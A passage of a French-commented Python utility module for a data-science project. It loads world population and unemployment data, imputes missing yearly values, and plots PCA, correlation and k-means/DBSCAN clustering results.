df_origin[df_origin['Country or Area'].notna()]\n try:\n df_origin = df_origin[df_origin['Subgroup'].notna()]\n except:\n pass\n\n if verbose:\n print(f\"{df_origin.shape} données chargées ------> {list(df_origin.columns)}\")\n\n sub_df = []\n genders = list(df_origin[\"Subgroup\"].unique())\n df_global_completed = df.copy()\n genders_cols_names = []\n for gender in genders:\n df_global_completed, df_temp = merge_generic_world_df(df_origin[df_origin[\"Subgroup\"]==gender], df_global_completed, prefix=gender+\" Population\",country_official_col_name='country_official',country_col_name='country', verbose=verbose) \n sub_df.append(df_temp)\n genders_cols_names.append(gender+\" Population\")\n\n df_population = None\n for df_gender in sub_df:\n if df_population is None:\n df_population = df_gender\n else:\n df_population = df_population.merge(df_gender, how='outer', on=subset)\n \n res = df_remove_duplicated_switch_NA(df_global_completed,subset=subset, keep=\"first\", verbose=verbose-1)\n \n # Trouver la chaine commune entre 2 strings\n common = \"\"\n try:\n common = genders_cols_names[0]\n end = False\n while not end:\n if common in genders_cols_names[1]:\n end = True\n common = common.strip()\n else:\n if len(common)>1:\n common = common[0:-2]\n else:\n common = \"\"\n end = True\n except:\n common = \"\"\n \n res[common+\"Population\"] = 0\n for g in genders_cols_names:\n res[common+\"Population\"] = res[common+\"Population\"] + res[g]\n\n return res, df_population\n\ndef load_world_unemployment_file(file_path, file_name, df,subset=['country_official', 'year'],excluded_cols=[], indicator=False, verbose=0):\n\n df_origin = pd.read_csv(file_path+file_name, sep=',')\n if verbose:\n print(f\"{df_origin.shape} données chargées ------> {list(df_origin.columns)}\")\n \n df_origin = remove_na_columns(df_origin, max_na=85,excluded_cols=excluded_cols, verbose=verbose-1, inplace=False)\n if verbose: print('NA columns removed', df_origin.shape)\n df_origin = df_origin[df_origin['Country or Area'].notna()]\n if verbose: print('Country or Area NA removed', df_origin.shape)\n df_origin = df_origin[df_origin['Subgroup'].notna()]\n if verbose: print('Subgroup NA removed', df_origin.shape)\n df_origin = df_origin[~df_origin['Subgroup'].str.contains(\"-24 yr\")]\n if verbose: print('Subgroup -24 yr removed', df_origin.shape)\n\n sub_df = []\n genders = list(df_origin[\"Subgroup\"].unique())\n df_global_completed = df.copy()\n genders_cols_names = []\n for gender in genders:\n df_global_completed, df_temp = merge_generic_world_df(df_origin[df_origin[\"Subgroup\"]==gender], df_global_completed, prefix=gender+\" Unemployment rate\",country_official_col_name='country_official',country_col_name='country', verbose=verbose) \n genders_cols_names.append(gender+\" Unemployment rate\")\n sub_df.append(df_temp)\n\n df_population = None\n for df_gender in sub_df:\n if df_population is None:\n df_population = df_gender\n else:\n df_population = df_population.merge(df_gender, how='outer', on=subset)\n \n res = df_remove_duplicated_switch_NA(df_global_completed,subset=subset, keep=\"first\", verbose=verbose-1)\n \n res[\"Unemployment rate\"] = 0\n for g in genders_cols_names:\n res[\"Unemployment rate\"] = res[\"Unemployment rate\"] + res[g]\n return res, df_population\n\n\ndef get_year_data_mean(df, current_y, current_country, current_data_col_name, verbose=0):\n val = df.loc[(df['year']==current_y) & (df['country_official']==current_country),current_data_col_name].values[0]\n if np.isnan(val) or val == 0:\n c_y_min = np.min(df.loc[df['country_official']==current_country,\"year\"])\n c_y_max = np.max(df.loc[df['country_official']==current_country,\"year\"])\n\n y_down = current_y-1\n y_up = current_y+1\n\n if c_y_min > y_down:\n # on est déjà à la date minimale, donc on prend la date suivante +1\n y_down = current_y+2\n\n if c_y_max < y_up:\n # on est déjà à la date maximale, donc on prend la date précédente -1\n y_up = current_y-2\n\n year_moins = np.nan\n try:\n year_moins = df.loc[(df['year']==y_down) & (df['country_official']==current_country),current_data_col_name].values[0]\n except Exception as error:\n if verbose>1:\n print(f\"{current_country} - {current_y} - {current_data_col_name} Exception No year less for ({y_down} : {error}\")\n year_moins = np.nan\n\n year_plus = np.nan\n try:\n year_plus = df.loc[(df['year']==y_up) & (df['country_official']==current_country),current_data_col_name].values[0]\n except Exception as error:\n if verbose>1:\n print(f\"{current_country} - {current_y} - {current_data_col_name} Exception No year plus for ({y_up} : {error}\")\n year_plus = np.nan\n \n if np.isnan(year_plus) and np.isnan(year_moins):\n if verbose>1:\n print(f\"{current_country} - {current_y} - {current_data_col_name} - no data for {y_down} and {y_up}\")\n try:\n val = df.loc[(df['country_official']==current_country),current_data_col_name].mean()\n if verbose:\n print(f\"{current_country} - {current_y} - {current_data_col_name} new value mean of all datas: {val}\")\n except Exception as error:\n if verbose:\n print(f\"{current_country} - {current_y} - {current_data_col_name} Exception on mean({year_plus} and {year_moins}) : {error}\") \n else:\n try:\n val = np.mean(year_moins, year_plus)\n if verbose:\n print(f\"{current_country} - {current_y} - {current_data_col_name} new value mean previous and next year: {val}\")\n except Exception as error:\n if verbose:\n print(f\"{current_country} - {current_y} - {current_data_col_name} Exception on mean({year_plus} and {year_moins}) : {error}\")\n else:\n if verbose:\n print(f\"{current_country} - {current_y} - {current_data_col_name} value : {val} (no change)\")\n return val\n\ndef get_df_for_country_data(df, country_official_name):\n country_datas_df = df[df['country_official']==country_official_name].copy()\n country_datas_df = country_datas_df.drop(['continent_encode','continent_code_AF', 'continent_code_AS', 'continent_code_EU',\n 'continent_code_NA', 'continent_code_OC', 'continent_code_SA'], axis=1)\n country_datas_df = country_datas_df.set_index('year')\n return country_datas_df\n\n\n# ----------------------------------------------------------------------------------\n# GENERIC FUNCTIONS\n# ----------------------------------------------------------------------------------\n\ndef get_dir_files(dir_path, start_with=None, endwith=None, verbose=0):\n fichiers = None\n if endwith is not None:\n if start_with is not None:\n fichiers = [f for f in listdir(dir_path) if isfile(join(dir_path, f)) and f.endswith(endwith) and f.startswith(start_with)]\n else:\n fichiers = [f for f in listdir(dir_path) if isfile(join(dir_path, f)) and f.endswith(endwith)]\n else:\n if start_with is not None:\n fichiers = [f for f in listdir(dir_path) if isfile(join(dir_path, f)) and f.startswith(start_with)]\n else:\n fichiers = [f for f in listdir(dir_path) if isfile(join(dir_path, f))]\n return fichiers\n\n\ndef process_one_hot(df, col=\"description\", verbose=0):\n encoder = OneHotEncoder(sparse=False)\n transformed = encoder.fit_transform(df[[col]])\n if verbose:\n print(transformed)\n #Create a Pandas DataFrame of the hot encoded column\n ohe_df = pd.DataFrame(transformed, columns=encoder.get_feature_names_out())\n if verbose:\n print(\"ohe_df:\", ohe_df.shape, \"data:\", df.shape)\n\n #concat with original data\n df_completed = df.copy()\n df_completed = pd.concat([df_completed, ohe_df], axis=1)\n if verbose:\n print(\"ohe_df:\", ohe_df.shape, \"data:\", df.shape, \"data_encode:\", df_completed.shape)\n return df_completed\n\n\ndef get_numeric_columns_names(df, verbose=False):\n \"\"\"Retourne les noms des colonnes numériques\n Args:\n df (DataFrame): Données\n verbose (bool, optional): Mode debug. Defaults to False.\n\n Returns:\n List(String): liste des noms de colonne\n \"\"\"\n numerics = ['int16', 'int32', 'int64', 'float16', 'float32', 'float64']\n newdf = df.select_dtypes(include=numerics)\n return list(newdf.columns)\n\n\ndef get_outliers_datas(df, colname):\n \"\"\"[summary]\n\n Args:\n df ([type]): [description]\n colname ([type]): [description]\n\n Returns:\n (float, float, float, float): q_low, q_hi,iqr, q_min, q_max\n \"\"\"\n # .quantile(0.25) pour Q1\n q_low = df[colname].quantile(0.25)\n # .quantité(0.75) pour Q3\n q_hi = df[colname].quantile(0.75)\n # IQR = Q3 - Q1\n iqr = q_hi - q_low\n # Max = Q3 + (1.5 * IQR)\n q_max = q_hi + (1.5 * iqr)\n # Min = Q1 - (1.5 * IQR)\n q_min = q_low - (1.5 * iqr)\n return q_low, q_hi,iqr, q_min, q_max\n\n\ndef display_scree_plot(pca):\n scree = pca.explained_variance_ratio_*100\n plt.figure(figsize=(18,7), facecolor=PLOT_FIGURE_BAGROUNG_COLOR)\n plt.bar(np.arange(len(scree))+1, scree)\n plt.plot(np.arange(len(scree))+1, scree.cumsum(),c=\"red\",marker='o')\n plt.xlabel(\"rang de l'axe d'inertie\")\n plt.ylabel(\"pourcentage d'inertie\")\n plt.title(\"Eboulis des valeurs propres\")\n plt.show(block=False)\n\nacp_colors = {}\ndef display_factorial_planes(X_projected, centres_reduced_df, n_comp, pca, axis_ranks, labels=None, alpha=0.5, illustrative_var=None, ax=None):\n for d1,d2 in axis_ranks:\n if d2 < n_comp:\n \n # affichage des points\n if illustrative_var is None:\n ax.scatter(X_projected[:, d1], X_projected[:, d2], alpha=alpha)\n else:\n illustrative_var = np.array(illustrative_var)\n for value in np.unique(illustrative_var):\n selected = np.where(illustrative_var == value)\n ax.scatter(X_projected.loc[selected, \"F\"+str(d1+1)], X_projected.loc[selected, \"F\"+str(d2+1)], alpha=alpha, label=value)\n ax.legend()\n\n # affichage des labels des points\n if labels is not None:\n for i,(x,y) in enumerate(X_projected[:,[d1,d2]]):\n ax.text(x, y, labels[i],\n fontsize='14', ha='center',va='center') \n \n # détermination des limites du graphique\n boundary = round(np.max(np.max(np.abs(X_projected.max())), axis=None) * 1.1)\n ax.set_xticks(range(-boundary,boundary+1))\n ax.set_yticks(range(-boundary,boundary+1))\n \n # affichage des lignes horizontales et verticales\n ax.plot([-boundary, boundary], [0, 0], color='grey', ls='--')\n ax.plot([0, 0], [-boundary, boundary], color='grey', ls='--')\n \n ax.scatter(centres_reduced_df[\"F\"+str(d1+1)], centres_reduced_df[\"F\"+str(d2+1)],\n marker='x', s=169, linewidths=3,\n color='k', zorder=10)\n\n # nom des axes, avec le pourcentage d'inertie expliqué\n ax.set_xlabel('F{} ({}%)'.format(d1+1, round(100*pca.explained_variance_ratio_[d1],1)))\n ax.set_ylabel('F{} ({}%)'.format(d2+1, round(100*pca.explained_variance_ratio_[d2],1)))\n ax.set_title(\"Projection des individus (sur F{} et F{})\".format(d1+1, d2+1))\n return ax\n\n\ndef display_factorial_planes_save(X_projected, centres_reduced_df, n_comp, pca, axis_ranks, labels=None, alpha=0.5, illustrative_var=None, ax=None):\n axes = []\n for d1,d2 in axis_ranks:\n if d2 < n_comp:\n \n # initialisation de la figure\n if ax is None:\n fig, ax = plt.subplots(figsize=(10,10))\n axes.append(ax)\n\n # initialisation de la figure \n plt.figure(figsize=(18,15), facecolor=PLOT_FIGURE_BAGROUNG_COLOR)\n \n # affichage des points\n if illustrative_var is None:\n plt.scatter(X_projected[:, d1], X_projected[:, d2], alpha=alpha)\n else:\n illustrative_var = np.array(illustrative_var)\n for value in np.unique(illustrative_var):\n selected = np.where(illustrative_var == value)\n plt.scatter(X_projected.loc[selected, \"F\"+str(d1+1)], X_projected.loc[selected, \"F\"+str(d2+1)], alpha=alpha, label=value)\n plt.legend()\n\n # affichage des labels des points\n if labels is not None:\n for i,(x,y) in enumerate(X_projected[:,[d1,d2]]):\n plt.text(x, y, labels[i],\n fontsize='14', ha='center',va='center') \n \n # détermination des limites du graphique\n boundary = np.max(np.max(np.abs(X_projected.max())), axis=None) * 1.1\n plt.xlim([-boundary,boundary])\n plt.ylim([-boundary,boundary])\n \n # affichage des lignes horizontales et verticales\n plt.plot([-100, 100], [0, 0], color='grey', ls='--')\n plt.plot([0, 0], [-100, 100], color='grey', ls='--')\n \n plt.scatter(centres_reduced_df[\"F\"+str(d1+1)], centres_reduced_df[\"F\"+str(d2+1)],\n marker='x', s=169, linewidths=3,\n color='k', zorder=10)\n\n # nom des axes, avec le pourcentage d'inertie expliqué\n plt.xlabel('F{} ({}%)'.format(d1+1, round(100*pca.explained_variance_ratio_[d1],1)))\n plt.ylabel('F{} ({}%)'.format(d2+1, round(100*pca.explained_variance_ratio_[d2],1)))\n plt.title(\"Projection des individus (sur F{} et F{})\".format(d1+1, d2+1))\n plt.show()\n\nfrom matplotlib.collections import LineCollection\n\ndef display_circles(pcs, n_comp, pca, axis_ranks, labels=None, label_rotation=0, lims=None, ax=None):\n\n for d1, d2 in axis_ranks: # On affiche les 3 premiers plans factoriels, donc les 6 premières composantes\n if d2 < n_comp:\n\n # détermination des limites du graphique\n if lims is not None :\n xmin, xmax, ymin, ymax = lims\n elif pcs.shape[1] < 30 :\n xmin, xmax, ymin, ymax = -1, 1, -1, 1\n else :\n xmin, xmax, ymin, ymax = min(pcs[d1,:]), max(pcs[d1,:]), min(pcs[d2,:]), max(pcs[d2,:])\n\n # affichage des flèches\n # s'il y a plus de 30 flèches, on n'affiche pas le triangle à leur extrémité\n if pcs.shape[1] < 30 :\n ax.quiver(np.zeros(pcs.shape[1]), np.zeros(pcs.shape[1]),\n pcs[d1,:], pcs[d2,:], \n angles='xy', scale_units='xy', scale=1, color=\"grey\")\n # (voir la doc : https://matplotlib.org/api/_as_gen/matplotlib.pyplot.quiver.html)\n else:\n lines = [[[0,0],[x,y]] for x,y in pcs[[d1,d2]].T]\n ax.add_collection(LineCollection(lines, axes=ax, alpha=.1, color='black'))\n ax.set_facecolor(PLOT_BAGROUNG_COLOR)\n \n # affichage des noms des variables \n if labels is not None: \n for i,(x, y) in enumerate(pcs[[d1,d2]].T):\n if x >= xmin and x <= xmax and y >= ymin and y <= ymax :\n ax.text(x, y, labels[i], fontsize='14', ha='center', va='center', rotation=label_rotation, color=\"blue\", alpha=0.5)\n \n # affichage du cercle\n circle = plt.Circle((0,0), 1, facecolor='none', edgecolor='b')\n ax.add_artist(circle)\n\n # définition des limites du graphique\n ax.set_yticks(range(ymin, ymax+1))\n ax.set_xticks(range(xmin, xmax+1))\n \n # affichage des lignes horizontales et verticales\n ax.plot([-1, 1], [0, 0], color='grey', ls='--')\n ax.plot([0, 0], [-1, 1], color='grey', ls='--')\n\n # nom des axes, avec le pourcentage d'inertie expliqué\n ax.set_xlabel('F{} ({}%)'.format(d1+1, round(100*pca.explained_variance_ratio_[d1],1)))\n ax.set_ylabel('F{} ({}%)'.format(d2+1, round(100*pca.explained_variance_ratio_[d2],1)))\n ax.set_title(\"Cercle des corrélations (F{} et F{})\".format(d1+1, d2+1))\n return ax\n\ndef display_circles_old(pcs, n_comp, pca, axis_ranks, labels=None, label_rotation=0, lims=None):\n\n axes = []\n\n for d1, d2 in axis_ranks: # On affiche les 3 premiers plans factoriels, donc les 6 premières composantes\n if d2 < n_comp:\n\n # initialisation de la figure\n fig, ax = plt.subplots(figsize=(10,10))\n axes.append(ax)\n # détermination des limites du graphique\n if lims is not None :\n xmin, xmax, ymin, ymax = lims\n elif pcs.shape[1] < 30 :\n xmin, xmax, ymin, ymax = -1, 1, -1, 1\n else :\n xmin, xmax, ymin, ymax = min(pcs[d1,:]), max(pcs[d1,:]), min(pcs[d2,:]), max(pcs[d2,:])\n\n # affichage des flèches\n # s'il y a plus de 30 flèches, on n'affiche pas le triangle à leur extrémité\n if pcs.shape[1] < 30 :\n plt.quiver(np.zeros(pcs.shape[1]), np.zeros(pcs.shape[1]),\n pcs[d1,:], pcs[d2,:], \n angles='xy', scale_units='xy', scale=1, color=\"grey\")\n # (voir la doc : https://matplotlib.org/api/_as_gen/matplotlib.pyplot.quiver.html)\n else:\n lines = [[[0,0],[x,y]] for x,y in pcs[[d1,d2]].T]\n ax.add_collection(LineCollection(lines, axes=ax, alpha=.1, color='black'))\n ax.set_facecolor(PLOT_BAGROUNG_COLOR)\n \n # affichage des noms des variables \n if labels is not None: \n for i,(x, y) in enumerate(pcs[[d1,d2]].T):\n if x >= xmin and x <= xmax and y >= ymin and y <= ymax :\n plt.text(x, y, labels[i], fontsize='14', ha='center', va='center', rotation=label_rotation, color=\"blue\", alpha=0.5)\n \n # affichage du cercle\n circle = plt.Circle((0,0), 1, facecolor='none', edgecolor='b')\n plt.gca().add_artist(circle)\n\n # définition des limites du graphique\n plt.xlim(xmin, xmax)\n plt.ylim(ymin, ymax)\n # affichage des lignes horizontales et verticales\n plt.plot([-1, 1], [0, 0], color='grey', ls='--')\n plt.plot([0, 0], [-1, 1], color='grey', ls='--')\n\n # nom des axes, avec le pourcentage d'inertie expliqué\n plt.xlabel('F{} ({}%)'.format(d1+1, round(100*pca.explained_variance_ratio_[d1],1)))\n plt.ylabel('F{} ({}%)'.format(d2+1, round(100*pca.explained_variance_ratio_[d2],1)))\n\n fig.patch.set_facecolor(PLOT_FIGURE_BAGROUNG_COLOR)\n plt.title(\"Cercle des corrélations (F{} et F{})\".format(d1+1, d2+1))\n # plt.show(block=False)\n return axes\n\n\ndef display_factorial_planes_by_theme(X_projected,pca, n_comp, axis_ranks, alpha=0.5, illustrative_var=None, by_theme=False):\n axes = []\n for d1,d2 in axis_ranks:\n if d2 < n_comp:\n # affichage des points\n illustrative_var = np.array(illustrative_var)\n valil = np.unique(illustrative_var)\n\n figure, axes = plt.subplots(2,len(valil)//2)\n\n # détermination des limites du graphique\n boundary = np.max(np.abs(X_projected[:, [d1,d2]])) * 1.1\n \n # On commence par traiter le NAN pour plus de lisibilité dans le graphe\n value = str(np.nan)\n i = 0\n j = 0\n if value in valil :\n _display_one_scatter(X_projected, pca, axes[i][j], value, d1, d2, alpha,boundary, illustrative_var)\n valil = valil[valil != value]\n j += 1\n \n for value in valil:\n _display_one_scatter(X_projected, pca, axes[i][j], value, d1, d2, alpha,boundary, illustrative_var)\n \n j += 1\n if j > (len(valil)//2):\n i += 1\n j = 0\n \n figure.set_size_inches(18.5, 7, forward=True)\n figure.set_dpi(100)\n figure.patch.set_facecolor(PLOT_FIGURE_BAGROUNG_COLOR)\n figure.suptitle(\"Projection des individus (sur F{} et F{})\".format(d1+1, d2+1))\n plt.show(block=False)\n\ndef _display_one_scatter(X_projected, pca, axe,value, d1, d2, alpha, boundary, illustrative_var):\n selected = np.where(illustrative_var == value)\n c=acp_colors.get(value, \"blue\")\n axe.scatter(X_projected[selected, d1], X_projected[selected, d2], alpha=alpha, label=value, c=c, s=100)\n axe.legend()\n # nom des axes, avec le pourcentage d'inertie expliqué\n axe.set_xlabel('F{} ({}%)'.format(d1+1, round(100*pca.explained_variance_ratio_[d1],1)))\n axe.set_ylabel('F{} ({}%)'.format(d2+1, round(100*pca.explained_variance_ratio_[d2],1)))\n\n axe.set_xlim([-boundary,boundary])\n axe.set_ylim([-boundary,boundary])\n # affichage des lignes horizontales et verticales\n axe.plot([-100, 100], [0, 0], color='grey', ls='--')\n axe.plot([0, 0], [-100, 100], color='grey', ls='--')\n axe.set_facecolor(PLOT_BAGROUNG_COLOR)\n\n\nfrom pandas.plotting import parallel_coordinates\n\ndef addAlpha(colour, alpha):\n '''Add an alpha to the RGB colour'''\n \n return (colour[0],colour[1],colour[2],alpha)\n\ndef display_parallel_coordinates(df, num_clusters):\n '''Display a parallel coordinates plot for the clusters in df'''\n palette = sns.color_palette(\"bright\", 10)\n\n # Select data points for individual clusters\n cluster_points = []\n for i in range(num_clusters):\n cluster_points.append(df[df.cluster==i])\n\n # Create the plot\n fig = plt.figure(figsize=(20, 15))\n fig.suptitle(\"Parallel Coordinates Plot for the Clusters\", fontsize=18)\n fig.subplots_adjust(top=0.95, wspace=0)\n\n # Display one plot for each cluster, with the lines for the main cluster appearing over the lines for the other clusters\n for i in range(num_clusters): \n plt.subplot(num_clusters, 1, i+1)\n for j,c in enumerate(cluster_points): \n if i!= j:\n parallel_coordinates(c, 'cluster', color=[addAlpha(palette[j],0.2)])\n parallel_coordinates(cluster_points[i], 'cluster', color=[addAlpha(palette[i],0.7)])\n\n # Stagger the axes\n ax=plt.gca()\n for tick in ax.xaxis.get_major_ticks()[1::2]:\n tick.set_pad(20) \n\ndef display_parallel_coordinates_centroids(df, num_clusters):\n '''Display a parallel coordinates plot for the centroids in df'''\n palette = sns.color_palette(\"bright\", 10)\n # Create the plot\n fig = plt.figure(figsize=(20, 5))\n fig.suptitle(\"Parallel Coordinates plot for the Centroids\", fontsize=18)\n fig.subplots_adjust(top=0.9, wspace=0)\n\n # Draw the chart\n parallel_coordinates(df, 'cluster', color=palette)\n\n # Stagger the axes\n ax=plt.gca()\n for tick in ax.xaxis.get_major_ticks()[1::2]:\n tick.set_pad(20) \n\n# ----------------------------------------------------------------------------------\n# GRAPHIQUES\n# ----------------------------------------------------------------------------------\nPLOT_FIGURE_BAGROUNG_COLOR = 'white'\nPLOT_BAGROUNG_COLOR = PLOT_FIGURE_BAGROUNG_COLOR\n\n\ndef color_graph_background(ligne=1, colonne=1):\n figure, axes = plt.subplots(ligne,colonne)\n figure.patch.set_facecolor(PLOT_FIGURE_BAGROUNG_COLOR)\n if isinstance(axes, np.ndarray):\n for axe in axes:\n # Traitement des figures avec plusieurs lignes\n if isinstance(axe, np.ndarray):\n for ae in axe:\n ae.set_facecolor(PLOT_BAGROUNG_COLOR)\n else:\n axe.set_facecolor(PLOT_BAGROUNG_COLOR)\n else:\n axes.set_facecolor(PLOT_BAGROUNG_COLOR)\n return figure, axes\n\n\ndef graphe_outliers(df_out, column, q_min, q_max):\n \"\"\"[summary]\n\n Args:\n df_out ([type]): [description]\n column ([type]): [description]\n q_min ([type]): [description]\n q_max ([type]): [description]\n \"\"\"\n \n figure, axes = color_graph_background(1,2)\n # Avant traitement des outliers\n # Boite à moustaches\n #sns.boxplot(data=df_out[column],x=df_out[column], ax=axes[0])\n df_out.boxplot(column=[column], grid=True, ax=axes[0])\n # scatter\n df_only_ok = df_out[(df_out[column]>=q_min) & (df_out[column]<=q_max)]\n df_only_ouliers = df_out[(df_out[column]q_max)]\n plt.scatter(df_only_ok[column].index, df_only_ok[column].values, c='blue')\n plt.scatter(df_only_ouliers[column].index, df_only_ouliers[column].values, c='red')\n # Dimensionnement du graphe\n figure.set_size_inches(18, 7, forward=True)\n figure.set_dpi(100)\n figure.suptitle(column, fontsize=16)\n plt.show()\n\n\ndef draw_correlation_graphe(df, title, verbose=False, annot=True, fontsize=5):\n \"\"\"Dessine le graphe de corrélation des données\n\n Args:\n df (DataFrame): Données à représenter\n verbose (bool, optional): Mode debug. Defaults to False.\n \"\"\"\n corr_df = round(df.corr(), 2)\n if verbose:\n print(\"CORR ------------------\")\n print(corr_df, \"\\n\")\n figure, ax = color_graph_background(1,1)\n figure.set_size_inches(18, 15, forward=True)\n figure.set_dpi(100)\n figure.suptitle(title, fontsize=16)\n sns.heatmap(corr_df, annot=annot, annot_kws={\"fontsize\":fontsize})\n plt.xticks(rotation=45, ha=\"right\", fontsize=fontsize)\n plt.yticks(fontsize=fontsize)\n plt.show()\n\n\nimport plotly.graph_objs as go\nimport plotly.express as px\n\ndef draw_top_score(score_only_by_country_t, n_top = 10,markers=True, verbose=0):\n\n countries_cols = list(score_only_by_country_t.columns)[0:n_top]\n\n fig = px.line(score_only_by_country_t[countries_cols], markers=markers, title=f\"Evolution des scores du top {n_top} (sur la moyenne).\")\n fig.update_layout(\n yaxis_title=\"Score\",\n legend_title=f\"{n_top} pays avec le meilleur score\",\n )\n fig.update_layout(margin=dict(l=10, r=20, t=40, b=20))\n fig.update_layout(xaxis = go.layout.XAxis( tickangle = 45) )\n fig.update_xaxes(dtick=1)\n fig.show()\n\nfrom plotly.subplots import make_subplots\n\ndef draw_top_by_country_score(score_only_by_country_t, n_top = 5, verbose=0):\n \n countries_names = list(score_only_by_country_t.columns)\n\n sub_plot_title = []\n i = 1\n for tit in countries_names[0:n_top]:\n sub_plot_title.append(str(i) + \" - \" + tit)\n i += 1\n\n years = list(score_only_by_country_t.index)\n fig = make_subplots(rows=n_top+1, cols=1, subplot_titles=tuple(sub_plot_title))\n fig.update_annotations(font_size=12)\n\n for i in range(0, n_top):\n y = score_only_by_country_t[countries_names[i]]\n sub_fig = go.Scatter(x=years, y=y, name = sub_plot_title[i], showlegend=False)\n fig.add_trace(sub_fig, row=i+1, col=1)\n\n fig.update_layout(height=200*n_top, width=1000, title_text=f\"Evolution des scores pour le top {n_top} des pays\")\n fig.update_xaxes(dtick=1)\n fig.update_yaxes(nticks=10, dtick=0.1)\n fig.show()\n\nfrom sklearn.preprocessing import StandardScaler\n\ndef draw_country_data_evolution(df, country_official_name):\n df_country = get_df_for_country_data(df, country_official_name=country_official_name)\n # Standardisation des features\n scaler = StandardScaler()\n scaled_features = scaler.fit_transform(df_country[get_numeric_columns_names(df_country)])\n df_country_std =pd.DataFrame(scaled_features, index=df_country.index, columns=get_numeric_columns_names(df_country))\n fig = px.line(df_country_std, markers=True, title=f\"{country_official_name}\")\n fig.update_layout(\n yaxis_title=None,\n xaxis_title=\"Années\",\n legend_title=\"Données\",\n )\n fig.update_layout(margin=dict(l=10, r=20, t=40, b=10))\n fig.update_xaxes(dtick=1)\n fig.show()\n return fig, df_country, df_country_std\n\n\ndef draw_kmeans_features_3d(df, features, verbose=0):\n fig = px.scatter_3d(x=df[features[0]], y=df[features[1]], z=df[features[2]], color=df[\"kmeans_cluster\"], title=f'K-Means Clustering pour les features {features}.')\n fig.update_layout(margin=dict(l=10, r=20, t=40, b=10))\n fig.update_layout(\n xaxis_title=features[0],\n yaxis_title=features[1],\n )\n fig.show()\n\nimport matplotlib.cm as cm\nfrom sklearn.cluster import KMeans\nfrom sklearn.metrics import silhouette_samples, silhouette_score\n\ndef draw_silhouette_curve(df, X, nb_clusters, random_state=42, x_col = (5, \"Score\"), y_col=(6, \"PIB\"), verbose=0):\n \n silhouette_n_clusters = []\n\n for n_clusters in nb_clusters:\n # Entrainement du modèle\n clusterer = KMeans(n_clusters=n_clusters, random_state=random_state)\n cluster_labels = clusterer.fit_predict(X)\n\n # Calcul du score silhouette\n silhouette_scr = round(silhouette_score(X, cluster_labels),2)\n if verbose:\n print(f\"{n_clusters} clusters = {silhouette_scr} silhouette_score\")\n\n silhouette_n_clusters.append(silhouette_scr)\n sample_silhouette_values = silhouette_samples(X, cluster_labels)\n\n # Représentation graphique\n fig, (ax1, ax2) = plt.subplots(1, 2)\n fig.set_size_inches(18, 7)\n ax1.set_xlim([-0.1, 1])\n ax1.set_ylim([0, len(X) + (n_clusters + 1) * 10])\n\n y_lower = 10\n for i in range(n_clusters):\n ith_cluster_silhouette_values = sample_silhouette_values[cluster_labels == i]\n ith_cluster_silhouette_values.sort()\n\n size_cluster_i = ith_cluster_silhouette_values.shape[0]\n y_upper = y_lower + size_cluster_i\n\n color = cm.nipy_spectral(float(i) / n_clusters)\n ax1.fill_betweenx(np.arange(y_lower, y_upper),\n 0, ith_cluster_silhouette_values,\n facecolor=color, edgecolor=color, alpha=0.7)\n\n ax1.text(-0.05, y_lower + 0.5 * size_cluster_i, str(i))\n y_lower = y_upper + 10\n \n # Graphique 1\n ax1.set_title(f\"The silhouette plot for the various clusters 0 to {n_clusters}.\")\n ax1.set_xlabel(\"The silhouette coefficient values\")\n ax1.set_ylabel(\"Cluster label\")\n\n ax1.axvline(x=silhouette_scr, color=\"red\", linestyle=\"--\")\n\n ax1.set_yticks([]) \n ax1.set_xticks([-0.1, 0, 0.2, 0.4, 0.6, 0.8, 1])\n\n # Graphique 2\n colors = cm.nipy_spectral(cluster_labels.astype(float) / n_clusters)\n \n ax2.scatter(df.iloc[::,x_col[0]], df.iloc[::,y_col[0]], marker='.', s=30, lw=0, alpha=0.7,\n c=colors, edgecolor='k')\n\n # centroides\n centers = clusterer.cluster_centers_\n ax2.scatter(centers[:, 0], centers[:, 1], marker='o',\n c=\"white\", alpha=1, s=200, edgecolor='k')\n\n for i, c in enumerate(centers):\n ax2.scatter(c[0], c[1], marker='$%d$' % i, alpha=1,\n s=50, edgecolor='k')\n\n ax2.set_title(\"Visualisation des clusters sur le dataset\")\n ax2.set_xlabel(x_col[1])\n ax2.set_ylabel(y_col[1])\n\n plt.suptitle(f\"Silhouette analysis for KMeans clustering on sample data with n_clusters = {n_clusters}\",\n fontsize=14, fontweight='bold')\n plt.show()\n \n # Dernier graphe avec la silhouette\n fig = px.line(x=nb_clusters, y=silhouette_n_clusters , markers=True, title=f\"Score silhouette par rapport au nombre de clusters\")\n fig.update_layout(\n xaxis_title=\"Number of Clusters (k)\",\n yaxis_title=\"Silhouette score\",\n )\n fig.update_layout(margin=dict(l=10, r=20, t=40, b=10))\n fig.update_xaxes(dtick=1)\n fig.show()\n\n return silhouette_n_clusters\n\nfrom sklearn.cluster import DBSCAN\nfrom sklearn.metrics import adjusted_rand_score\n\ndef draw_kmeans_and_DBSCAN_comparison(X_scale, nb_clusters, features_column_name=[\"PIB\", \"Soutien\"], verbose=0):\n \n fte_colors = {\n 0: \"#008fd5\",\n 1: \"#fc4f30\",\n 2: \"#FF1493\",\n 3: \"#006400\",\n 4: \"#FFD700\",\n 5: \"#B8860B\",\n 6: \"#008B8B\",\n 7: \"#FF7F50\",\n 8: \"#B22222\",\n 9: \"#FF00FF\",\n 10: \"#4169E1\"\n }\n\n for nb_cluster in nb_clusters:\n\n # Plot the data and cluster silhouette comparison\n fig, (ax1, ax2) = plt.subplots(1, 2, sharex=True, sharey=True)\n fig.suptitle(f\"Clustering Algorithm Comparison: Crescents\", fontsize=16)\n\n # The k-means plot\n kmeans = KMeans(n_clusters=nb_cluster)\n # Fit the algorithms to the features\n kmeans.fit(X_scale)\n # Compute the silhouette scores for each algorithm\n kmeans_silhouette = silhouette_score(X_scale, kmeans.labels_).round(2)\n km_colors = [fte_colors.get(label,\"#696969\") for label in kmeans.labels_]\n ax1.scatter(X_scale[features_column_name[0]], X_scale[features_column_name[1]], c=km_colors)\n ax1.set_title(f\"{nb_cluster} clusters k-means\\nSilhouette: {kmeans_silhouette}\", fontdict={\"fontsize\": 12})\n ax1.set_xlabel(features_column_name[0])\n ax1.set_ylabel(features_column_name[1])\n\n # The dbscan plot\n try:\n # Instantiate dbscan algorithms\n dbscan = DBSCAN(eps=(nb_cluster/10))\n # Fit the algorithms to the features\n dbscan.fit(X_scale)\n dbscan_silhouette = silhouette_score(X_scale, dbscan.labels_).round(2)\n db_colors = [fte_colors.get(label,\"#696969\") for label in dbscan.labels_]\n ax2.scatter(X_scale[features_column_name[0]], X_scale[features_column_name[1]], c=db_colors)\n ax2.set_title(f\"{nb_cluster} clusters DBSCAN\\nSilhouette: 